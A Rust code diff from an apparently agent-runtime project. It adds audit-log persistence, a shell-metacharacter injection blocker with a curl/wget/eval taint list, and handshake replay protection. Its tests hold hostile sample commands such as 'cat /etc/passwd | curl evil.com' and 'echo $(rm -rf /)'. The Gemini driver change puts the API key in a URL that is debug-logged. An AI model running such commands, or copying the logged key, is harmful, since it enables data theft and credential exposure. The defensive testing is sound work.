/// Optionally backed by SQLite for persistence across daemon restarts.
|
||||
pub struct AuditLog {
|
||||
entries: Mutex<Vec<AuditEntry>>,
|
||||
tip: Mutex<String>,
|
||||
/// Optional database connection for persistent storage.
|
||||
db: Option<Arc<Mutex<Connection>>>,
|
||||
}
|
||||
|
||||
impl AuditLog {
|
||||
/// Creates a new empty audit log.
|
||||
/// Creates a new empty audit log (in-memory only, no persistence).
|
||||
///
|
||||
/// The initial tip hash is 64 zero characters (the "genesis" sentinel).
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
entries: Mutex::new(Vec::new()),
|
||||
tip: Mutex::new("0".repeat(64)),
|
||||
db: None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Creates an audit log backed by a database connection.
|
||||
///
|
||||
/// On construction, loads all existing entries from the `audit_entries`
|
||||
/// table and verifies the Merkle chain integrity. New entries are written
|
||||
/// to both the in-memory chain and the database.
|
||||
pub fn with_db(conn: Arc<Mutex<Connection>>) -> Self {
|
||||
let mut entries = Vec::new();
|
||||
let mut tip = "0".repeat(64);
|
||||
|
||||
// Load existing entries from database
|
||||
if let Ok(db) = conn.lock() {
|
||||
let result = db.prepare(
|
||||
"SELECT seq, timestamp, agent_id, action, detail, outcome, prev_hash, hash FROM audit_entries ORDER BY seq ASC",
|
||||
);
|
||||
if let Ok(mut stmt) = result {
|
||||
let rows = stmt.query_map([], |row| {
|
||||
let action_str: String = row.get(3)?;
|
||||
let action = match action_str.as_str() {
|
||||
"ToolInvoke" => AuditAction::ToolInvoke,
|
||||
"CapabilityCheck" => AuditAction::CapabilityCheck,
|
||||
"AgentSpawn" => AuditAction::AgentSpawn,
|
||||
"AgentKill" => AuditAction::AgentKill,
|
||||
"AgentMessage" => AuditAction::AgentMessage,
|
||||
"MemoryAccess" => AuditAction::MemoryAccess,
|
||||
"FileAccess" => AuditAction::FileAccess,
|
||||
"NetworkAccess" => AuditAction::NetworkAccess,
|
||||
"ShellExec" => AuditAction::ShellExec,
|
||||
"AuthAttempt" => AuditAction::AuthAttempt,
|
||||
"WireConnect" => AuditAction::WireConnect,
|
||||
"ConfigChange" => AuditAction::ConfigChange,
|
||||
_ => AuditAction::ToolInvoke, // fallback
|
||||
};
|
||||
Ok(AuditEntry {
|
||||
seq: row.get(0)?,
|
||||
timestamp: row.get(1)?,
|
||||
agent_id: row.get(2)?,
|
||||
action,
|
||||
detail: row.get(4)?,
|
||||
outcome: row.get(5)?,
|
||||
prev_hash: row.get(6)?,
|
||||
hash: row.get(7)?,
|
||||
})
|
||||
});
|
||||
if let Ok(rows) = rows {
|
||||
for entry in rows.flatten() {
|
||||
tip = entry.hash.clone();
|
||||
entries.push(entry);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
let count = entries.len();
|
||||
let log = Self {
|
||||
entries: Mutex::new(entries),
|
||||
tip: Mutex::new(tip),
|
||||
db: Some(conn),
|
||||
};
|
||||
|
||||
// Verify chain integrity on load
|
||||
if count > 0 {
|
||||
if let Err(e) = log.verify_integrity() {
|
||||
tracing::error!("Audit trail integrity check FAILED on boot: {e}");
|
||||
} else {
|
||||
tracing::info!("Audit trail loaded: {count} entries, chain integrity OK");
|
||||
}
|
||||
}
|
||||
|
||||
log
|
||||
}
|
||||
|
||||
/// Records a new auditable event and returns the SHA-256 hash of the entry.
|
||||
///
|
||||
/// The entry is atomically appended to the chain with the current tip as
|
||||
/// its `prev_hash`, and the tip is advanced to the new hash.
|
||||
/// If a database connection is available, the entry is also persisted.
|
||||
pub fn record(
|
||||
&self,
|
||||
agent_id: impl Into<String>,
|
||||
@@ -119,7 +199,7 @@ impl AuditLog {
|
||||
seq, ×tamp, &agent_id, &action, &detail, &outcome, &prev_hash,
|
||||
);
|
||||
|
||||
entries.push(AuditEntry {
|
||||
let entry = AuditEntry {
|
||||
seq,
|
||||
timestamp,
|
||||
agent_id,
|
||||
@@ -128,8 +208,28 @@ impl AuditLog {
|
||||
outcome,
|
||||
prev_hash,
|
||||
hash: hash.clone(),
|
||||
});
|
||||
};
|
||||
|
||||
// Persist to database if available
|
||||
if let Some(ref db) = self.db {
|
||||
if let Ok(conn) = db.lock() {
|
||||
let _ = conn.execute(
|
||||
"INSERT INTO audit_entries (seq, timestamp, agent_id, action, detail, outcome, prev_hash, hash) VALUES (?1, ?2, ?3, ?4, ?5, ?6, ?7, ?8)",
|
||||
rusqlite::params![
|
||||
entry.seq as i64,
|
||||
&entry.timestamp,
|
||||
&entry.agent_id,
|
||||
entry.action.to_string(),
|
||||
&entry.detail,
|
||||
&entry.outcome,
|
||||
&entry.prev_hash,
|
||||
&entry.hash,
|
||||
],
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
entries.push(entry);
|
||||
*tip = hash.clone();
|
||||
hash
|
||||
}
|
||||
@@ -271,4 +371,52 @@ mod tests {
|
||||
assert_eq!(log.tip_hash(), h2);
|
||||
assert_ne!(h2, h1);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_audit_persists_to_db() {
|
||||
let conn = Connection::open_in_memory().unwrap();
|
||||
conn.execute_batch(
|
||||
"CREATE TABLE audit_entries (
|
||||
seq INTEGER PRIMARY KEY,
|
||||
timestamp TEXT NOT NULL,
|
||||
agent_id TEXT NOT NULL,
|
||||
action TEXT NOT NULL,
|
||||
detail TEXT NOT NULL,
|
||||
outcome TEXT NOT NULL,
|
||||
prev_hash TEXT NOT NULL,
|
||||
hash TEXT NOT NULL
|
||||
)",
|
||||
)
|
||||
.unwrap();
|
||||
|
||||
let db = Arc::new(Mutex::new(conn));
|
||||
|
||||
// Record entries with DB
|
||||
let log = AuditLog::with_db(Arc::clone(&db));
|
||||
log.record("agent-1", AuditAction::AgentSpawn, "spawn test", "ok");
|
||||
log.record("agent-1", AuditAction::ShellExec, "ls", "ok");
|
||||
assert_eq!(log.len(), 2);
|
||||
|
||||
// Verify entries in database
|
||||
let db_conn = db.lock().unwrap();
|
||||
let count: i64 = db_conn
|
||||
.query_row("SELECT COUNT(*) FROM audit_entries", [], |row| row.get(0))
|
||||
.unwrap();
|
||||
assert_eq!(count, 2);
|
||||
drop(db_conn);
|
||||
|
||||
// Simulate restart: create new AuditLog from same DB
|
||||
let log2 = AuditLog::with_db(Arc::clone(&db));
|
||||
assert_eq!(log2.len(), 2);
|
||||
assert!(log2.verify_integrity().is_ok());
|
||||
|
||||
// Chain continues correctly after restart
|
||||
log2.record("agent-2", AuditAction::ToolInvoke, "file_read", "ok");
|
||||
assert_eq!(log2.len(), 3);
|
||||
assert!(log2.verify_integrity().is_ok());
|
||||
|
||||
// Verify tip is correct
|
||||
let entries = log2.recent(3);
|
||||
assert_eq!(entries[2].prev_hash, entries[1].hash);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -61,19 +61,15 @@ fn validate_image_name(image: &str) -> Result<(), String> {
|
||||
}
|
||||
|
||||
/// SECURITY: Sanitize command — reject dangerous shell metacharacters.
|
||||
/// Delegates to the comprehensive subprocess_sandbox check.
|
||||
fn validate_command(command: &str) -> Result<(), String> {
|
||||
if command.is_empty() {
|
||||
return Err("Command cannot be empty".into());
|
||||
}
|
||||
// Reject backticks and $() which could enable command injection
|
||||
let dangerous = ["`", "$(", "${"];
|
||||
for pattern in &dangerous {
|
||||
if command.contains(pattern) {
|
||||
return Err(format!(
|
||||
"Command contains disallowed pattern '{}' — potential injection",
|
||||
pattern
|
||||
));
|
||||
}
|
||||
if let Some(reason) = crate::subprocess_sandbox::contains_shell_metacharacters(command) {
|
||||
return Err(format!(
|
||||
"Command blocked: contains {reason} — potential injection"
|
||||
));
|
||||
}
|
||||
Ok(())
|
||||
}
|
||||
@@ -489,7 +485,12 @@ mod tests {
|
||||
fn test_validate_command_valid() {
|
||||
assert!(validate_command("python script.py").is_ok());
|
||||
assert!(validate_command("ls -la /workspace").is_ok());
|
||||
assert!(validate_command("echo hello | grep h").is_ok());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_validate_command_pipe_blocked() {
|
||||
// SECURITY: Pipes now blocked by comprehensive metacharacter check
|
||||
assert!(validate_command("echo hello | grep h").is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
|
||||
@@ -164,8 +164,29 @@ struct GeminiErrorResponse {
|
||||
}
|
||||
|
||||
#[derive(Debug, Deserialize)]
|
||||
#[allow(dead_code)]
|
||||
struct GeminiErrorDetail {
|
||||
message: String,
|
||||
#[serde(default)]
|
||||
code: Option<u16>,
|
||||
#[serde(default)]
|
||||
status: Option<String>,
|
||||
}
|
||||
|
||||
/// Parse a Gemini error response body, handling multiple Google API error formats.
|
||||
fn parse_gemini_error(body: &str) -> String {
|
||||
if let Ok(e) = serde_json::from_str::<GeminiErrorResponse>(body) {
|
||||
let mut msg = e.error.message;
|
||||
if let Some(status) = e.error.status {
|
||||
msg = format!("{status}: {msg}");
|
||||
}
|
||||
return msg;
|
||||
}
|
||||
// Google sometimes returns bare JSON arrays or HTML error pages
|
||||
if body.starts_with('<') {
|
||||
return "Google API returned an HTML error page — check your API key and model name".to_string();
|
||||
}
|
||||
body.to_string()
|
||||
}
|
||||
|
||||
// ── Message conversion ─────────────────────────────────────────────────
|
||||
@@ -397,8 +418,8 @@ impl LlmDriver for GeminiDriver {
|
||||
let max_retries = 3;
|
||||
for attempt in 0..=max_retries {
|
||||
let url = format!(
|
||||
"{}/v1beta/models/{}:generateContent",
|
||||
self.base_url, request.model
|
||||
"{}/v1beta/models/{}:generateContent?key={}",
|
||||
self.base_url, request.model, self.api_key.as_str()
|
||||
);
|
||||
debug!(url = %url, attempt, "Sending Gemini API request");
|
||||
|
||||
@@ -434,9 +455,13 @@ impl LlmDriver for GeminiDriver {
|
||||
|
||||
if !resp.status().is_success() {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let message = serde_json::from_str::<GeminiErrorResponse>(&body)
|
||||
.map(|e| e.error.message)
|
||||
.unwrap_or(body);
|
||||
let message = parse_gemini_error(&body);
|
||||
if status == 401 || status == 403 {
|
||||
return Err(LlmError::AuthenticationFailed(message));
|
||||
}
|
||||
if status == 404 {
|
||||
return Err(LlmError::ModelNotFound(message));
|
||||
}
|
||||
return Err(LlmError::Api { status, message });
|
||||
}
|
||||
|
||||
@@ -477,8 +502,8 @@ impl LlmDriver for GeminiDriver {
|
||||
let max_retries = 3;
|
||||
for attempt in 0..=max_retries {
|
||||
let url = format!(
|
||||
"{}/v1beta/models/{}:streamGenerateContent?alt=sse",
|
||||
self.base_url, request.model
|
||||
"{}/v1beta/models/{}:streamGenerateContent?alt=sse&key={}",
|
||||
self.base_url, request.model, self.api_key.as_str()
|
||||
);
|
||||
debug!(url = %url, attempt, "Sending Gemini streaming request");
|
||||
|
||||
@@ -517,9 +542,13 @@ impl LlmDriver for GeminiDriver {
|
||||
|
||||
if !resp.status().is_success() {
|
||||
let body = resp.text().await.unwrap_or_default();
|
||||
let message = serde_json::from_str::<GeminiErrorResponse>(&body)
|
||||
.map(|e| e.error.message)
|
||||
.unwrap_or(body);
|
||||
let message = parse_gemini_error(&body);
|
||||
if status == 401 || status == 403 {
|
||||
return Err(LlmError::AuthenticationFailed(message));
|
||||
}
|
||||
if status == 404 {
|
||||
return Err(LlmError::ModelNotFound(message));
|
||||
}
|
||||
return Err(LlmError::Api { status, message });
|
||||
}
|
||||
|
||||
|
||||
@@ -40,6 +40,12 @@ pub enum LlmError {
|
||||
/// How long to wait before retrying.
|
||||
retry_after_ms: u64,
|
||||
},
|
||||
/// Authentication failed (invalid/missing API key).
|
||||
#[error("Authentication failed: {0}")]
|
||||
AuthenticationFailed(String),
|
||||
/// Model not found.
|
||||
#[error("Model not found: {0}")]
|
||||
ModelNotFound(String),
|
||||
}
|
||||
|
||||
/// A request to an LLM for completion.
|
||||
|
||||
@@ -87,6 +87,67 @@ pub fn validate_executable_path(path: &str) -> Result<(), String> {
|
||||
|
||||
use openfang_types::config::{ExecPolicy, ExecSecurityMode};
|
||||
|
||||
/// SECURITY: Check for shell metacharacters that enable command injection.
|
||||
///
|
||||
/// Blocks ALL shell operators that can chain commands, redirect I/O,
|
||||
/// perform substitution, or otherwise escape the intended command boundary.
|
||||
/// This is a defense-in-depth layer — even with allowlist validation,
|
||||
/// metacharacters must be rejected first to prevent injection.
|
||||
pub fn contains_shell_metacharacters(command: &str) -> Option<String> {
|
||||
// ── Command substitution ──────────────────────────────────────────
|
||||
// Backtick substitution: `cmd`
|
||||
if command.contains('`') {
|
||||
return Some("backtick command substitution".to_string());
|
||||
}
|
||||
// Dollar-paren substitution: $(cmd)
|
||||
if command.contains("$(") {
|
||||
return Some("$() command substitution".to_string());
|
||||
}
|
||||
// Dollar-brace expansion: ${VAR}
|
||||
if command.contains("${") {
|
||||
return Some("${} variable expansion".to_string());
|
||||
}
|
||||
|
||||
// ── Command chaining ──────────────────────────────────────────────
|
||||
// Semicolons: cmd1;cmd2
|
||||
if command.contains(';') {
|
||||
return Some("semicolon command chaining".to_string());
|
||||
}
|
||||
// Pipes: cmd1|cmd2 (data exfiltration + arbitrary command)
|
||||
if command.contains('|') {
|
||||
return Some("pipe operator".to_string());
|
||||
}
|
||||
|
||||
// ── I/O redirection ───────────────────────────────────────────────
|
||||
// Output/input/append redirect: >, <, >>
|
||||
// Also catches here-strings <<<, process substitution <() >()
|
||||
if command.contains('>') || command.contains('<') {
|
||||
return Some("I/O redirection".to_string());
|
||||
}
|
||||
|
||||
// ── Expansion and globbing ────────────────────────────────────────
|
||||
// Brace expansion: {cmd1,cmd2} or {1..10}
|
||||
if command.contains('{') || command.contains('}') {
|
||||
return Some("brace expansion".to_string());
|
||||
}
|
||||
|
||||
// ── Embedded newlines ─────────────────────────────────────────────
|
||||
if command.contains('\n') || command.contains('\r') {
|
||||
return Some("embedded newline".to_string());
|
||||
}
|
||||
// Null bytes (can truncate strings in C-based shells)
|
||||
if command.contains('\0') {
|
||||
return Some("null byte".to_string());
|
||||
}
|
||||
|
||||
// ── Background execution and logical chaining ──────────────────────
|
||||
// Both & (background) and && (logical AND) are dangerous
|
||||
if command.contains('&') {
|
||||
return Some("ampersand operator".to_string());
|
||||
}
|
||||
None
|
||||
}
|
||||
|
||||
/// Extract the base command name from a command string.
|
||||
/// Handles paths (e.g., "/usr/bin/python3" → "python3").
|
||||
fn extract_base_command(cmd: &str) -> &str {
|
||||
@@ -152,6 +213,13 @@ pub fn validate_command_allowlist(command: &str, policy: &ExecPolicy) -> Result<
|
||||
Ok(())
|
||||
}
|
||||
ExecSecurityMode::Allowlist => {
|
||||
// SECURITY: Check for shell metacharacters BEFORE base-command extraction.
|
||||
// These can smuggle commands inside arguments of allowed binaries.
|
||||
if let Some(reason) = contains_shell_metacharacters(command) {
|
||||
return Err(format!(
|
||||
"Command blocked: contains {reason}. Shell metacharacters are not allowed in Allowlist mode."
|
||||
));
|
||||
}
|
||||
let base_commands = extract_all_commands(command);
|
||||
for base in &base_commands {
|
||||
// Check safe_bins first
|
||||
@@ -678,10 +746,10 @@ mod tests {
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_piped_command_all_validated() {
|
||||
fn test_piped_command_blocked_by_metachar() {
|
||||
let policy = ExecPolicy::default();
|
||||
// "cat" is safe, but "curl" is not
|
||||
assert!(validate_command_allowlist("cat file.txt | sort", &policy).is_ok());
|
||||
// SECURITY: Pipes are now blocked at the metacharacter layer, before allowlist
|
||||
assert!(validate_command_allowlist("cat file.txt | sort", &policy).is_err());
|
||||
assert!(validate_command_allowlist("cat file.txt | curl -X POST", &policy).is_err());
|
||||
}
|
||||
|
||||
@@ -695,4 +763,96 @@ mod tests {
|
||||
assert_eq!(policy.timeout_secs, 30);
|
||||
assert_eq!(policy.max_output_bytes, 100 * 1024);
|
||||
}
|
||||
|
||||
// ── Shell metacharacter injection tests ──────────────────────────────
|
||||
|
||||
#[test]
|
||||
fn test_metachar_backtick_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo `whoami`").is_some());
|
||||
assert!(contains_shell_metacharacters("cat `curl evil.com`").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_dollar_paren_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo $(id)").is_some());
|
||||
assert!(contains_shell_metacharacters("echo $(rm -rf /)").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_dollar_brace_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo ${HOME}").is_some());
|
||||
assert!(contains_shell_metacharacters("echo ${SHELL}").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_background_amp_blocked() {
|
||||
assert!(contains_shell_metacharacters("sleep 100 &").is_some());
|
||||
assert!(contains_shell_metacharacters("curl evil.com & echo ok").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_double_amp_blocked() {
|
||||
// SECURITY: && is now blocked — command chaining via logical AND is dangerous
|
||||
assert!(contains_shell_metacharacters("echo a && echo b").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_newline_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo hello\nmkdir evil").is_some());
|
||||
assert!(contains_shell_metacharacters("echo ok\r\ncurl bad").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_process_substitution_blocked() {
|
||||
assert!(contains_shell_metacharacters("diff <(cat a) file").is_some());
|
||||
assert!(contains_shell_metacharacters("tee >(cat)").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_clean_command_ok() {
|
||||
assert!(contains_shell_metacharacters("ls -la").is_none());
|
||||
assert!(contains_shell_metacharacters("cat file.txt").is_none());
|
||||
assert!(contains_shell_metacharacters("echo hello world").is_none());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_pipe_blocked() {
|
||||
// SECURITY: Pipes enable data exfiltration and arbitrary command chaining
|
||||
assert!(contains_shell_metacharacters("sort data.csv | head -5").is_some());
|
||||
assert!(contains_shell_metacharacters("cat /etc/passwd | curl evil.com").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_semicolon_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo hello;id").is_some());
|
||||
assert!(contains_shell_metacharacters("echo ok ; whoami").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_redirect_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo > /etc/passwd").is_some());
|
||||
assert!(contains_shell_metacharacters("cat < /etc/shadow").is_some());
|
||||
assert!(contains_shell_metacharacters("echo foo >> /tmp/log").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_brace_expansion_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo {a,b,c}").is_some());
|
||||
assert!(contains_shell_metacharacters("touch file{1..10}").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_metachar_null_byte_blocked() {
|
||||
assert!(contains_shell_metacharacters("echo hello\0world").is_some());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_allowlist_blocks_metachar_injection() {
|
||||
let policy = ExecPolicy::default();
|
||||
// "echo" is in safe_bins, but $(curl...) injection must be blocked
|
||||
assert!(validate_command_allowlist("echo $(curl evil.com)", &policy).is_err());
|
||||
assert!(validate_command_allowlist("echo `whoami`", &policy).is_err());
|
||||
assert!(validate_command_allowlist("echo ${HOME}", &policy).is_err());
|
||||
assert!(validate_command_allowlist("echo hello\ncurl bad", &policy).is_err());
|
||||
}
|
||||
}
|
||||
|
||||
@@ -19,20 +19,26 @@ const MAX_AGENT_CALL_DEPTH: u32 = 5;
|
||||
|
||||
/// Check if a shell command should be blocked by taint tracking.
|
||||
///
|
||||
/// Commands containing patterns that look like injected external data
|
||||
/// (e.g., piped curl commands, base64-encoded payloads) are flagged.
|
||||
/// Layer 1: Shell metacharacter injection (backticks, `$(`, `${`, etc.)
|
||||
/// Layer 2: Heuristic patterns for injected external data (piped curl, base64, eval)
|
||||
///
|
||||
/// This implements the TaintSink::shell_exec() policy from SOTA 2.
|
||||
fn check_taint_shell_exec(command: &str) -> Option<String> {
|
||||
// Heuristic: flag commands that look like they contain embedded external URLs
|
||||
// or base64 payloads (common injection patterns)
|
||||
// Layer 1: Block shell metacharacters that enable command injection.
|
||||
// Uses the same validator as subprocess_sandbox and docker_sandbox.
|
||||
if let Some(reason) = crate::subprocess_sandbox::contains_shell_metacharacters(command) {
|
||||
return Some(format!(
|
||||
"Shell metacharacter injection blocked: {reason}"
|
||||
));
|
||||
}
|
||||
|
||||
// Layer 2: Heuristic patterns for injected external URLs / base64 payloads
|
||||
let suspicious_patterns = [
|
||||
"curl ",
|
||||
"wget ",
|
||||
"| sh",
|
||||
"| bash",
|
||||
"base64 -d",
|
||||
"$(curl",
|
||||
"`curl",
|
||||
"eval ",
|
||||
];
|
||||
for pattern in &suspicious_patterns {
|
||||
@@ -206,10 +212,24 @@ pub async fn execute_tool(
|
||||
}
|
||||
}
|
||||
|
||||
// Shell tool — exec policy + taint check
|
||||
// Shell tool — metacharacter check + exec policy + taint check
|
||||
"shell_exec" => {
|
||||
let command = input["command"].as_str().unwrap_or("");
|
||||
// Exec policy enforcement
|
||||
|
||||
// SECURITY: Always check for shell metacharacters, even in Full mode.
|
||||
// These enable command injection regardless of exec policy.
|
||||
if let Some(reason) = crate::subprocess_sandbox::contains_shell_metacharacters(command) {
|
||||
return ToolResult {
|
||||
tool_use_id: tool_use_id.to_string(),
|
||||
content: format!(
|
||||
"shell_exec blocked: command contains {reason}. \
|
||||
Shell metacharacters are never allowed."
|
||||
),
|
||||
is_error: true,
|
||||
};
|
||||
}
|
||||
|
||||
// Exec policy enforcement (allowlist / deny / full)
|
||||
if let Some(policy) = exec_policy {
|
||||
if let Err(reason) =
|
||||
crate::subprocess_sandbox::validate_command_allowlist(command, policy)
|
||||
@@ -225,7 +245,7 @@ pub async fn execute_tool(
|
||||
};
|
||||
}
|
||||
}
|
||||
// Skip taint check for Full exec policy (e.g. hand agents that need curl for APIs)
|
||||
// Skip heuristic taint patterns for Full exec policy (e.g. hand agents that need curl)
|
||||
let is_full_exec = exec_policy
|
||||
.is_some_and(|p| p.mode == openfang_types::config::ExecSecurityMode::Full);
|
||||
if !is_full_exec {
|
||||
|
||||
@@ -1186,6 +1186,10 @@ fn default_language() -> String {
|
||||
"en".to_string()
|
||||
}
|
||||
|
||||
fn default_true() -> bool {
|
||||
true
|
||||
}
|
||||
|
||||
impl Default for KernelConfig {
|
||||
fn default() -> Self {
|
||||
let home_dir = openfang_home_dir();
|
||||
@@ -1591,6 +1595,10 @@ pub struct DiscordConfig {
|
||||
pub default_agent: Option<String>,
|
||||
/// Gateway intents bitmask (default: 37376 = GUILD_MESSAGES | DIRECT_MESSAGES | MESSAGE_CONTENT).
|
||||
pub intents: u64,
|
||||
/// Ignore messages from other bots (default: true).
|
||||
/// Set to false to allow bot-to-bot interactions in multi-agent setups.
|
||||
#[serde(default = "default_true")]
|
||||
pub ignore_bots: bool,
|
||||
/// Per-channel behavior overrides.
|
||||
#[serde(default)]
|
||||
pub overrides: ChannelOverrides,
|
||||
@@ -1604,6 +1612,7 @@ impl Default for DiscordConfig {
|
||||
allowed_users: vec![],
|
||||
default_agent: None,
|
||||
intents: 37376,
|
||||
ignore_bots: true,
|
||||
overrides: ChannelOverrides::default(),
|
||||
}
|
||||
}
|
||||
|
||||
@@ -20,6 +20,7 @@ sha2 = { workspace = true }
|
||||
hex = { workspace = true }
|
||||
subtle = { workspace = true }
|
||||
rand = { workspace = true }
|
||||
dashmap = { workspace = true }
|
||||
|
||||
[dev-dependencies]
|
||||
tokio-test = { workspace = true }
|
||||
|
||||
@@ -12,11 +12,12 @@ use crate::message::*;
|
||||
use crate::registry::{PeerEntry, PeerRegistry, PeerState};
|
||||
|
||||
use async_trait::async_trait;
|
||||
use dashmap::DashMap;
|
||||
use hmac::{Hmac, Mac};
|
||||
use sha2::Sha256;
|
||||
use std::net::SocketAddr;
|
||||
use std::sync::Arc;
|
||||
use std::time::Instant;
|
||||
use std::time::{Duration, Instant};
|
||||
use thiserror::Error;
|
||||
use tokio::io::{AsyncReadExt, AsyncWriteExt};
|
||||
use tokio::net::{TcpListener, TcpStream};
|
||||
@@ -24,6 +25,51 @@ use tracing::{debug, error, info, warn};
|
||||
|
||||
type HmacSha256 = Hmac<Sha256>;
|
||||
|
||||
/// SECURITY: Time-windowed nonce tracker to prevent OFP handshake replay attacks.
|
||||
///
|
||||
/// Stores seen nonces with their timestamps. Nonces older than the window
|
||||
/// are garbage-collected on insertion. A 5-minute window is used because
|
||||
/// handshake nonces are single-use UUIDs.
|
||||
#[derive(Clone)]
|
||||
pub struct NonceTracker {
|
||||
seen: Arc<DashMap<String, Instant>>,
|
||||
window: Duration,
|
||||
}
|
||||
|
||||
impl NonceTracker {
|
||||
/// Create a new nonce tracker with a 5-minute replay window.
|
||||
pub fn new() -> Self {
|
||||
Self {
|
||||
seen: Arc::new(DashMap::new()),
|
||||
window: Duration::from_secs(300), // 5 minutes
|
||||
}
|
||||
}
|
||||
|
||||
/// Check if a nonce has been seen before. If not, record it and return Ok.
|
||||
/// If already seen (replay), return Err.
|
||||
pub fn check_and_record(&self, nonce: &str) -> Result<(), String> {
|
||||
let now = Instant::now();
|
||||
|
||||
// Garbage-collect expired nonces (older than window)
|
||||
self.seen.retain(|_, ts| now.duration_since(*ts) < self.window);
|
||||
|
||||
// Check for replay
|
||||
if self.seen.contains_key(nonce) {
|
||||
return Err(format!("Nonce replay detected: {}", &nonce[..nonce.len().min(16)]));
|
||||
}
|
||||
|
||||
// Record the nonce
|
||||
self.seen.insert(nonce.to_string(), now);
|
||||
Ok(())
|
||||
}
|
||||
}
|
||||
|
||||
impl Default for NonceTracker {
|
||||
fn default() -> Self {
|
||||
Self::new()
|
||||
}
|
||||
}
|
||||
|
||||
/// Generate HMAC-SHA256 signature for message authentication.
|
||||
fn hmac_sign(secret: &str, data: &[u8]) -> String {
|
||||
let mut mac = HmacSha256::new_from_slice(secret.as_bytes()).expect("HMAC accepts any key size");
|
||||
@@ -116,6 +162,11 @@ pub struct PeerNode {
|
||||
/// Start time for uptime calculation (used by handle_request for Pong).
|
||||
#[allow(dead_code)]
|
||||
start_time: Instant,
|
||||
/// SECURITY: Tracks seen handshake nonces to prevent replay attacks.
|
||||
nonce_tracker: NonceTracker,
|
||||
/// SECURITY: Session key derived after handshake for per-message HMAC.
|
||||
#[allow(dead_code)]
|
||||
session_key: std::sync::Mutex<Option<String>>,
|
||||
}
|
||||
|
||||
impl PeerNode {
|
||||
@@ -145,6 +196,8 @@ impl PeerNode {
|
||||
registry: registry.clone(),
|
||||
local_addr,
|
||||
start_time: Instant::now(),
|
||||
nonce_tracker: NonceTracker::new(),
|
||||
session_key: std::sync::Mutex::new(None),
|
||||
});
|
||||
|
||||
let node_clone = Arc::clone(&node);
|
||||
@@ -181,8 +234,8 @@ impl PeerNode {
|
||||
let (mut reader, mut writer) = stream.into_split();
|
||||
|
||||
// Send our handshake with HMAC authentication
|
||||
let nonce = uuid::Uuid::new_v4().to_string();
|
||||
let auth_data = format!("{}{}", nonce, self.config.node_id);
|
||||
let our_nonce = uuid::Uuid::new_v4().to_string();
|
||||
let auth_data = format!("{}{}", our_nonce, self.config.node_id);
|
||||
let auth_hmac = hmac_sign(&self.config.shared_secret, auth_data.as_bytes());
|
||||
|
||||
let handshake = WireMessage {
|
||||
@@ -192,7 +245,7 @@ impl PeerNode {
|
||||
node_name: self.config.node_name.clone(),
|
||||
protocol_version: PROTOCOL_VERSION,
|
||||
agents: handle.local_agents(),
|
||||
nonce,
|
||||
nonce: our_nonce.clone(),
|
||||
auth_hmac,
|
||||
}),
|
||||
};
|
||||
@@ -200,7 +253,7 @@ impl PeerNode {
|
||||
|
||||
// Read their handshake ack
|
||||
let response = read_message(&mut reader).await?;
|
||||
match &response.kind {
|
||||
let sess_key = match &response.kind {
|
||||
WireMessageKind::Response(WireResponse::HandshakeAck {
|
||||
node_id,
|
||||
node_name,
|
||||
@@ -216,6 +269,11 @@ impl PeerNode {
|
||||
});
|
||||
}
|
||||
|
||||
// SECURITY: Check for nonce replay on the ack
|
||||
if let Err(replay_err) = self.nonce_tracker.check_and_record(ack_nonce) {
|
||||
return Err(WireError::HandshakeFailed(replay_err));
|
||||
}
|
||||
|
||||
// SECURITY: Verify the ack HMAC
|
||||
let expected_data = format!("{}{}", ack_nonce, node_id);
|
||||
if !hmac_verify(
|
||||
@@ -228,6 +286,13 @@ impl PeerNode {
|
||||
));
|
||||
}
|
||||
|
||||
// SECURITY: Derive per-session key for authenticated messages
|
||||
let key = derive_session_key(
|
||||
&self.config.shared_secret,
|
||||
&our_nonce,
|
||||
ack_nonce,
|
||||
);
|
||||
|
||||
info!(
|
||||
"OFP: handshake complete with {} ({}) — {} agents",
|
||||
node_name,
|
||||
@@ -243,6 +308,7 @@ impl PeerNode {
|
||||
connected_at: chrono::Utc::now(),
|
||||
protocol_version: *protocol_version,
|
||||
});
|
||||
key
|
||||
}
|
||||
WireMessageKind::Response(WireResponse::Error { code, message }) => {
|
||||
return Err(WireError::HandshakeFailed(format!(
|
||||
@@ -254,7 +320,7 @@ impl PeerNode {
|
||||
"Unexpected response to handshake".to_string(),
|
||||
));
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
// Extract the peer node_id for the connection loop
|
||||
let peer_node_id = match &response.kind {
|
||||
@@ -264,11 +330,11 @@ impl PeerNode {
|
||||
_ => unreachable!(),
|
||||
};
|
||||
|
||||
// Spawn a task to handle ongoing communication
|
||||
// Spawn a task to handle ongoing communication with per-message HMAC
|
||||
let registry = self.registry.clone();
|
||||
tokio::spawn(async move {
|
||||
if let Err(e) =
